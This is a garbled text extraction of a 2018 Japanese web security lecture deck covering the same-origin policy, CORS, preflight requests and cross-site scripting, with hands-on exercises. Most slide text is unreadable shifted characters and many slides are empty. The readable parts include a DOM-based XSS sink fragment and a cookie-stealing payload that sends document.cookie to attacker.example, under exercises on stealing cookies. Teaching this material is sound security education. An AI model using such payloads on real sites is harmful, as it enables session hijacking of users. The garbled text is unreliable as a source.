Web セキュリティ入門 / Introduction to Web Security

by Takashi Yoneuchi

Slide 1

Slide 1 text

W 5BLBTIJ:POFVDIJ  !MNU@TXBMMPX !ZOVDIZ  IUUQTTIJGUKTJOGP 8FCηΩϡϦςΟೖ໳  ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ

Slide 2

Slide 2 text

Slide 3

Slide 3 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0VUMJOF ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ ‣ ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢ ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ   0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢ ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢ ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢ 3

Slide 4

Slide 4 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT  ຊߨٛͰ໨ࢦ͢ͱ͜Ζ ‣ ֶͼ͍ͨ͜ͱ ‣ 8FC4FDVSJUZCZ%FTJHOઃܭ্ͷෆඋΛݟൈ͘ྗ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 4

Slide 5

Slide 5 text

Slide 6

Slide 6 text

%FGFOTFJO%FQUI ଟ૚๷ޚͱ͍͏ߟ͑ํ

Slide 7

Slide 7 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ଟ૚๷ޚ %FGFOTFJO%FQUI   ෳ਺ͷ૚ΛॏͶΔ͜ͱͰ΋ͨΒ͞ΕΔ΋ͷ 7 l %FGFOTFJOEFQUIJTUIFDPODFQUPGQSPUFDUJOHB DPNQVUFSOFUXPSLXJUIBTFSJFTPGEFGFOTJWF NFDIBOJTNTTVDIUIBUJGPOFNFDIBOJTNGBJMT BOPUIFSXJMMBMSFBEZCFJOQMBDFUPUIXBSUBO BUUBDL  4"/4*OTUJUVUF 4"/4*OTUJUVUF*OGP4FD3FBEJOH3PPN   IUUQTXXXTBOTPSHSFBEJOHSPPNXIJUFQBQFSTCBTJDTEFGFOTFJOEFQUI

Slide 8

Slide 8 text

Slide 9

Slide 9 text

Slide 10

Slide 10 text

Slide 11

Slide 11 text

Slide 12

Slide 12 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ωοτϫʔΫ֎ɾ಺ͷڥք  *%4 *14 %.; ‣ ಺෦ FHࣾ಺ ωοτϫʔΫ ͱΠϯλʔωοτͷؒʹڥք Λઃ͚Δ ‣ %.;Ͱެ։ྖҬΛ੾Γ෼͚ͨΓ ‣ *%4 *OUSVTJPO%FUFDUJPO 4ZTUFN Ͱҟৗ௨৴Λଊ͑ͨΓ ‣ *14 *OUSVTJPO1SFWFOUJPO 4ZTUFN Ͱҟৗ௨৴ΛϒϩοΫ ͨ͠Γʜ 12

Slide 13

Slide 13 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ߈ܸऀͷ໨ઢ͔Β  ޿ٛͷ ଟ૚๷ޚΛͲ͏ಥഁ͢Δ͔ ‣ ௚઀ຊ࣭తͳ৘ใʹ౸ୡͰ͖ͳ͍৔߹͕ଟ͍ ‣ ͋Δ੬ऑͳՕॴΛى఺ʹ ‣ ྫ੬ऑͳϢʔβʔͷೝূ৘ใΛى఺ʹ͢Δ ‣ ྫ ෺ཧతPSιϑτ΢ΣΞతʹ ੬ऑͳ୺຤Λى఺ʹ͢Δ ‣ ྫωοτϫʔΫ֎෦ʹެ։͞Ε͍ͯΔՕॴΛى఺ʹ͢Δ ‣ গͣͭ͠ΞΫηεͰ͖ΔൣғΛ޿͛Δ ‣ ྫϢʔβʔͷ׆ಈϩάΛ؍࡯ͯ͠ ͦͷ୺຤ɾೝূ৘ใ͔ΒΞΫηεͰ͖Δ ৘ใΛ୳ࡧ -"/಺ͷଞͷ੬ऑͳ୺຤Λ୳ࡧ ‣ ྫ443' 4FSWFS4JEF3FRVFTU'PSHFSZ ΍ 42-*OKFDUJPOͳͲͷ੬ऑੑ Λ࢖ͬͯ ωοτϫʔΫ্΍γεςϜ಺Λ୳ࡧ 13

Slide 14

Slide 14 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC  3FQPSUCZ0SBOHF5TBJ 14 1SPDPUPM4NVHHMJOH 8FCIPPLૹ৴ػೳ ೚ҙ63-΁ͷϦΫΤετൃߦ ϩʔΧϧͷผαʔϏεΛൃݟ ‣ )*5$0/ͷ0SBOHF5TBJ͞Μ ͕ൃݟͨ͠(JU)VCͰͷ3$&  4FFIUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZ VT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O 5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG ‣ 8FCIPPLͷૹ৴ઌʹ   IUUQ ͸ ͱ౳Ձ ͕ઃఆͰ͖ͨ ‣ MPDBMIPTUΛ͜ΕΛ༻͍ͯ୳ࡧ Ͱ͖Δ ૄ௨νΣοΫ͕Մೳ ‣ ݁Ռ൪Ͱ(SBQIJUF͕ ಈ͍͍ͯΔͷΛൃݟ

Slide 15

Slide 15 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC  3FQPSUCZ0SBOHF5TBJ 15 ϩʔΧϧͷผαʔϏεΛൃݟ ͦ͜Ͱ·ͨ೚ҙϦΫΤετൃߦ NFNDBDIFEʹ೚ҙσʔλૠೖ .BSTIBMͱ૊Έ߹Θͤͯ3$& ‣ MPDBMIPTUͷ(SBQIJUFʹର͠ ͯ$3-'*OKFDUJPOΛࢼΈ Α Γࣗ༝ʹϦΫΤετΛૹ৴͢Δ ͜ͱ͕Մೳʹͳͬͨ ‣ ݁Ռ8FCIPPLͷ݁Ռͱͯ͠ ೚ҙ஋Λ%#ʹྲྀ͠ࠐΊͨ ‣ ͜ΕΛ.BSTIBM σγϦΞϥΠ ζػߏ ͱ૊Έ߹Θͤ 3$&΁ ‣ ৄ͘͠͸0SBOHF͞Μͷࢿྉ Λࢀরͷ͜ͱ

Slide 16

Slide 16 text

Slide 17

Slide 17 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ  Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ ࣍ͷࢿྉதͷ(JU)VCʹ͓͚ΔࣄྫΛݩʹ ͲͷΑ͏ͳ๷ޚϨΠϠ ͕͋Ε͹ ͋Δ͍͸ͲͷΑ͏ͳߏ੒Ͱ͋Ε͹ ҆શͰ͔͋ͬͨΛߟ ͑ͯΈ·͠ΐ͏ ‣ "/FX&SBPG443'&YQMPJUJOH63-1BSTFSJO5SFOEJOH 1SPHSBNNJOH-BOHVBHFTCZ0SBOHF5TBJ ‣ IUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ" /FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH 1SPHSBNNJOH-BOHVBHFTQEG ‣ 443'Λى఺ʹ%FGFOTFJO%FQUIΛ߈ུ͍ͯ͘͠࿩ 17

Slide 18

Slide 18 text

#PVOEBSZ 8FCϒϥ΢βதͷڥք

Slide 19

Slide 19 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ΋͠΋ͷ࿩  ϒϥ΢βͷதʹڥք͕ͳ͔ͬͨΒ ‣ ΋͠ϒϥ΢βʹͳΜͷ੍໿΋ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ ༠ಋ͢Δ͚ͩͰ ৘ใ ޙड़ Λൈ͖ग़ͤΔ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ 19 http://evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... ࣗ༝ͳ৘ใͷ΍ΓͱΓ http://example.com

Slide 20

Slide 20 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ຊདྷ͋Δ΂͖࢟  ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 20 ‣ $SPTT0SJHJOͰͷ੍໿͕ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ༠ ಋ͢Δ͚ͩͰ৘ใΛൈ͚Δ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... example.com ͜͜ͷڥքΛҾ͖͍ͨ! ͜͜ʹڥք͕͋Δ΂͖ ࣗ༝ͳ৘ใͷ΍ΓͱΓ

Slide 21

Slide 21 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ԿΛ࢖ͬͯڥքΛҾ͔͘  ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 21 ‣ ߟ͑ͯΈ·͠ΐ͏ ‣ ڥք͸Ͳ͏Ҿ͘΂͖ ‣ ཧ۶తʹ͸৘ใ୯Ґ͝ͱʹҾ͖͍ͨ ‣ ͨͩݫ͘͠Ҿ͖͗͢ΔͱෆศʹͳΓ͗͢Δ ‣ Կ͕࢖͑ͦ͏͔ ‣ υϝΠϯ໊ ͦͷ͏ͪͲ͜Λ࢖͏͔͸໰୊ ‣ ໊લղܾͨ͠ޙͷ*1 ‣ ϙʔτ ‣ εΩʔϜ ‣ FUD ݕࡧΤϯδϯ Web ϝʔϥʔ จॻΤσΟλ

Slide 22

Slide 22 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹ͍ͭͯ ࣍ͷUVQMFΛ0SJHJOͱఆٛ͢Δɻ VSJTDIFNF VSJIPTU VSJQPSU ‣ VSJTDIFNFεΩʔϜ FHIUUQ IUUQT ‣ VSJIPTUϗετ FHFYBNQMFDPN ‣ VSJQPSUϙʔτ FH ‣ লུ࣌͸VSJTDIFNFʹରԠͨ͠σϑΥϧτϙʔτ͕ࢦఆ͞ΕΔɻ 22 IUUQFYBNQMFDPNTPNFQBUI

Slide 23

Slide 23 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 4BNF0SJHJO1PMJDZ  0SJHJOΛݩʹͯ͠कΔ ‣ 4BNF0SJHJO1PMJDZͱ͸ ͋Δ0SJHJOΛ࣋ͭϖʔδɾεΫϦϓ τͳͲ͔ΒΞΫηεՄೳͳϦιʔεΛ ࣍ͷΑ͏ʹ੍ݶ͢Δ੍໿ ‣ ಉ͡0SJHJO 4BNF0SJHJO Λ࣋ͭϦιʔεʹ͸ΞΫηεͰ͖Δ ‣ ҟͳΔ0SJHJO $SPTT0SJHJO Λ࣋ͭϦιʔεʹΞΫηεͰ͖ͳ͍ ‣ ϦιʔεΛ0SJHJO͝ͱʹִ཭͢Δ 0SJHJO͕ڥք ‣ ڥքΛ·͙ͨ $SPTT0SJHJOͳϦιʔεࢀরΛߦ͏ ͨΊʹ͸ ΞΫηε͞ ΕΔଆͷϦιʔε͔Βͷ໌ࣔతͳڐՄ͕ඞཁ $034"QQFOEJYࢀর 23

Slide 24

Slide 24 text

Slide 25

Slide 25 text

Slide 26

Slide 26 text

Slide 27

Slide 27 text

2VFTUJPO  4BNF0SJHJO   $SPTT0SJHJO

Slide 28

Slide 28 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 2VFTUJPO4BNF0SJHJO ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏ ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQXXXFYBNQMFDPN ‣ IUUQUFTUFYBNQMFDPN ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQTUFTUFYBNQMFDPN 28

Slide 29

Slide 29 text

Slide 30

Slide 30 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ /PUFTPO4BNF0SJHJO ͍͔ͭ͘ͷ஫ҙ఺ ‣ ͍͔ͭ͘஫ҙΛཁ͢ΔεΩʔϜ͕͋Δ ‣ FHEBUB pMF BCPVU ʜ ‣ ੍໿ͷൣғͳͲ ͸͖ͬΓ͠ͳ͍఺ ‣ 0SJHJOΛܧঝͯ͠UVQMFͳ0SJHJOΛ࣋ͭͷ͔ ‣ ͋Δ͍͸VOJRVFJEFOUJpFS TFF3'$ Λ࣋ͭͷ͔ ‣ ҎԼͷจॻΛಡΉ͜ͱΛקΊ·͢ ‣ ॏཁʂ·ͣ͸ʮΦϦδϯʯΛཧղ͠Α͏   IUUQXXXBUNBSLJUDPKQBJUBSUJDMFTOFXT@IUNM ‣ 3'$5IF8FC0SJHJO$PODFQU  IUUQTUPPMTJFUGPSHIUNMSGD 30

Slide 31

Slide 31 text

&YFSDJTF  0SJHJOؔ࿈ͷηΩϡϦςΟ  ػߏΛ࣮ײ͠Α͏

Slide 32

Slide 32 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF401  4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 32 ࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্Ͱ IUUQXFCTFDFYBNQMFTPQ ‣ ·ͣ͸401ΛΦϑʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏ ‣ EJTBCMFXFCTFDVSJUZVTFSEBUBEJSΛΦϓγϣϯͱ෇͚ ͯىಈ͢Δͱ401౳͕ΦϑʹͳΔ ‣ .BDPQFOOB(PPHMFa$ISPNFBSHTEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ 8JOEPXT8JOEPXT3ˠDISPNFFYFEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ ͦͷޙ 401ΛΦϯʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏

Slide 33

Slide 33 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %FWFMPQFS5PPMT  ศར ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖͏ͱศརͳ͜ͱ͕ଟ͍ ‣ ϖʔδ্ͰӈΫϦοΫˠʮௐࠪʯ PS*OTQFDU ΛΫϦοΫͯ͠ىಈ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ͜ͱ΋Ͱ͖Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM4IJGU*Ͱىಈ  .BDͷ৔߹$NE0QU*Ͱىಈ 33

Slide 34

Slide 34 text

Slide 35

Slide 35 text

Slide 36

Slide 36 text

Slide 37

Slide 37 text

Slide 38

Slide 38 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $034  $SPTT0SJHJO3FTPVSDF4IBSJOH ‣ $SPTT0SJHJOͳϦιʔεࢀরΛڐՄ͢ΔͨΊͷ࢓૊Έ ‣ 401ʹΑΓ جຊతʹ͸ͦͷΑ͏ͳϦιʔεࢀর͸ϒϩοΫ͞Ε͍ͯΔ ‣ ओʹ0SJHJOϔομ "DDFTT$POUSPM"MMPX0SJHJOϔομ͕ओ໾ ‣ Ұ෦ͷϦΫΤετͰ͸࣍ͷΑ͏ͳϔομ͕ొ৔͢Δ ‣ "DDFTT$POUSPM3FRVFTU.FUIPE ‣ "DDFTT$POUSPM3FRVFTU)FBEFST ‣ "DDFTT$POUSPM"MMPX0SJHJO ‣ "DDFTT$POUSPM"MMPX.FUIPET ‣ "DDFTT$POUSPM"MMPX)FBEFST ‣ "DDFTT$POUSPM&YQPTF)FBEFST ‣ "DDFTT$POUSPM.BY"HF 38

Slide 39

Slide 39 text

Slide 40

Slide 40 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ୯७ͳϦΫΤετ࣌ͷڍಈ  CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 40 IUUQBFYBNQMFDPN QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com (&5KTPO)551  0SJHJOIUUQBFYBNQMFDPN  

Slide 41

Slide 41 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ Ϩεϙϯε࣌ͷڍಈ  CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 41 IUUQBFYBNQMFDPN QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com )5510,  "DDFTT$POUSPM"MMPX0SJHJO IUUQBFYBNQMFDPN    ˠϨεϙϯε͕ಡΈग़ͤΔ 

Slide 42

Slide 42 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετ  1SFqJHIU3FRVFTU 42 ‣ ࣍ͷΑ͏ͳ௨ৗͷϦΫΤετΒ͘͠ͳ͍ϦΫΤετΛ͢Δ৔߹ Ѽઌ0SJHJOʹରͯ͠ ͦͷڐՄΛऔͨΊͷϦΫΤετ͕ඈͿ ‣ ΧελϜϔομʔΛ͚͍ͭͨ৔߹ ‣ Α͋͘Δ΋ͷҎ֎ͷ$POUFOU5ZQFΛૹग़͢Δ৔߹ ‣ (&5 1045 )&"%Ҏ֎ͷϦΫΤετΛ͢Δ৔߹ ‣ ͜ͷϦΫΤετΛϓϦϑϥΠτϦΫΤετͱݺͿ ‣ 015*0/4ϝιουΛ࢖ͬͯϦΫΤετ͕ߦΘΕΔ

Slide 43

Slide 43 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ  1SFqJHIU3FRVFTU 43 ‣ 015*0/4ϝιουʹΑΔϓϦϑϥΠτϦΫΤετ͕ൃߦ͞ΕΔ ‣ 93&2)&"%&3ͱ͍͏ϔομ෇͖ͷ1045ϦΫΤετΛൃߦͯ͠Α͍ ͔ͷ໰͍߹Θ͕ͤߦΘΕ͍ͯΔ 015*0/4KTPO)551  0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM3FRVFTU.FUIPE1045  "DDFTT$POUSPM3FRVFTU)FBEFST93&2)&"%&3 BFYBNQMFDPN CFYBNQMFDPN

Slide 44

Slide 44 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ 3FTQPOTFUP1SFqJHIU3FRVFTU 44 BFYBNQMFDPN CFYBNQMFDPN )5510,  "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM"MMPX.FUIPE(&5 1045  "DDFTT$POUSPM"MMPX)FBEFST93&2)&"%&3 "DDFTT$POUSPM&YQPTF)FBEFST93&4)&"%&3  "DDFTT$POUSPM.BY"HF ‣ $SPTT0SJHJOͳࢀর͕ڐՄ͞Ε͍ͯΔ0SJHJOͱ ࢖༻ͯ͠ྑ͍ϝιου ૹͬͯྑ͍ϔομ ΞΫηεՄೳͳϔομ ༗ޮظݶͳͲͷ෇Ճ৘ใ͕ฦͬ ͯ͘Δ

Slide 45

Slide 45 text

Slide 46

Slide 46 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ  3FTQPOTF 46 BFYBNQMFDPN CFYBNQMFDPN )5510,  "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN 93&4)&"%&340.&3&563/ ‣ $SPTT0SJHJOͰ΋ΞΫηεՄೳͳϦιʔε ϘσΟͱ93&4)&"%&3ϔο μ ͕ฦ٫͞ΕΔ

Slide 47

Slide 47 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ൃలෆద੾ͳ$034ར༻ྫ  ࢓ํͳ͍ͱ͖΋͋Δ͚ΕͲʜ 47 Access-Control-Allow-Origin: * Access-Control-Allow-Origin: http://example.com ‣ ΞελϦεΫ Ͱ0SJHJOΛࢦఆ͢Δͷ͸ศར͕ͩ ඇTUBUJDͳ ΋ͷʹ·Ͱ෇͚ͯ͠·͏ͱ ηΩϡϦςΟ্ͷ໰୊ʹͳΓ͏Δ ‣ FH$43'5PLFO΍ݸਓ৘ใͷಡΈग़͠ ‣ 0SJHJOΛߜͬͯ΋ ͜ΕΛղऍ͢Δͷ͸͋͘·Ͱϒϥ΢βͰ͋Δ ‣ ѱҙͷ͋Δਓ͕ؒ0SJHJOΛվมͯ͠ϦΫΤετΛൃߦͰ͖Δ ‣ $034͸ΞΫηεݖݶͷ؅ཧͰ͸ͳ͍ػີ৘ใΛஔ͔ͳ͍

Slide 48

Slide 48 text

&YFSDJTF  0SJHJOؔ࿈ͷηΩϡϦςΟ  ػߏΛ࣮ײ͠Α͏

Slide 49

Slide 49 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$034  4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 49 ࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্Ͱ IUUQXFCTFDFYBNQMFTPQ ‣ ϖʔδԼ෦ʹ$034ؔ࿈ͷσϞ͕͋Γ·͢ ‣ ઌఔ·Ͱ401Φϯͷͱ͖ʹϒϩοΫ͞Ε͍ͯͨ$SPTT0SJHJOͷ ௨৴͕ $034ʹΑΓ؇࿨͞Εͯ௨͍ͬͯΔ ‣ ϓϦϑϥΠτϦΫΤετ͕ඈͿ༷ࢠ΋ %FWFMPQFS5PPMTͷ /FUXPSLλϒ͔ΒݟͯΈ·͠ΐ͏

Slide 50

Slide 50 text

$SPTT4JUF4DSJQUJOH 944ͷݪཧ ࣮ફ ରࡦ

Slide 51

Slide 51 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͦͷલʹηογϣϯ  Α͘ݟΔ1)14&44*%౳ͷ΍͍ͬͯΔ͜ͱ ‣ )551͸جຊతʹεςʔτϨε TUBUFMFTT ͳϓϩτίϧ ‣ εςʔτΛอଘ͢ΔͨΊʹΑ͘࢖ΘΕΔͷ͕ηογϣϯ ‣ ΫϥΠΞϯτଆͰ͸$PPLJF΍(&5ύϥϝʔλ ޙऀ͸ආ͚Δ΂͖ ʹ αʔ όʔଆ͔Βड͚औͬͨηογϣϯ*%ͱݺ͹ΕΔ΋ͷΛอଘ͓͖ͯ͠ ‣ αʔόʔଆͰ͸ͦͷηογϣϯ*%ʹඥ͚ͮͯ ඞཁͳσʔλΛه࿥͓ͯ͘͠ ‣ ࣮༻ྫ ‣ FHϢʔβʔػೳ͕͋Δ৔߹ ຖϦΫΤετͰ*%ύεϫʔυΛૹΓ͚ͭΔͷ ͸φϯηϯεʜϩάΠϯ࣌ʹηογϣϯʹ৘ใΛඥ͚͓ͮͯ͘ ‣ ηογϣϯ*%͕౪·ΕΔͱ ‣ ηογϣϯʹඥ෇͍ͨ৘ใΛ౪Ί͍ͯΔͷͱ ΄΅ ಉ͡ 51

Slide 52

Slide 52 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $SPTT4JUF4DSJQUJOH 944 BUUBDLTBSFB UZQFPGJOKFDUJPO JOXIJDINBMJDJPVTTDSJQUT BSFJOKFDUFEJOUPPUIFSXJTFCFOJHOBOE USVTUFEXFCTJUFT IUUQTXXXPXBTQPSHJOEFYQIQ$SPTTTJUF@4DSJQUJOH@ 944 l 944֓ཁ  $SPTT4JUF4DSJQUJOHͱ͸ҰମԿ͔ 52

Slide 53

Slide 53 text

ͷݕࡧ݁Ռ

Slide 54

Slide 54 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944Өڹ  0SJHJOͱ͍͏؍఺͔Βݟͨ944 ‣ 4BNF0SJHJO1PMJDZʹΑΓ ͋Δ0SJHJO͸ ͦͷ֎෦ͷ0SJHJO ͔Β͸σʔλ͕ୣऔ͞Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣ 944͸ͦͷ0SJHJOͷ಺෦ʹ৵ೖ͢Δ߈ܸ ͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ 54 Origin A εΫϦϓτૠೖ

Slide 55

Slide 55 text

Slide 56

Slide 56 text

Slide 57

Slide 57 text

Slide 58

Slide 58 text

'+decodeURI(location.hash.substring(1))+'

'; ‣ %0.ૢ࡞ʹΑͬͯҾ͖ى͜͞ΕΔ944Λ%0.#BTFE944ͱݺͿ ‣ ଞͷ944छ͸֓ͶUBJOUFEͳίʔυ͕ฦͬͯ͘Δͷʹର͠ %0.#BTFE944Ͱ͸UBJOUFEͰͳ͍ίʔυ͕ฦͬͯ͘Δ৔߹΋͋ Δ

Slide 59

Slide 59 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͍͔ʹͯ͠৵ೖ͢Δ͔  $PPLJFΛ౪Ήͱ͍͏͜ͱ 59 ‣ EPDVNFOUDPPLJF͕౪·ΕΔͱͲ͏ͳΔ͔ ‣ ηογϣϯ؅ཧʹ͸͠͹͠͹$PPLJF͕࢖ΘΕΔ 㲎)551͸εςʔτϨε ‣ ηογϣϯ͕౪·ΕΔ͜ͱ͸ JE QBTTXPSE ͕౪·ΕΔ͜ͱʹ͍ۙ ‣ ΋ͪΖΜݫີʹ͸ҰॹͰ͸ͳ͍͕ ‣ ߈ܸऀ͸౪Μͩ$PPLJFΛ࢖ͬͯ ߈ܸର৅ͷηογϣϯΛୣ͑Δ   document.location = '//attacker.example/?' + document.cookie;  

Slide 60

Slide 60 text

&YFSDJTF  944ͷݪཧΛཧղ͠Α͏

Slide 61

Slide 61 text

&YFSDJTF  $PPLJFΛୣऔͯ͠ΈΑ͏

Slide 62

Slide 62 text

&YFSDJTF  944$IBMMFOHF

Slide 63

Slide 63 text

Slide 64

Slide 64 text

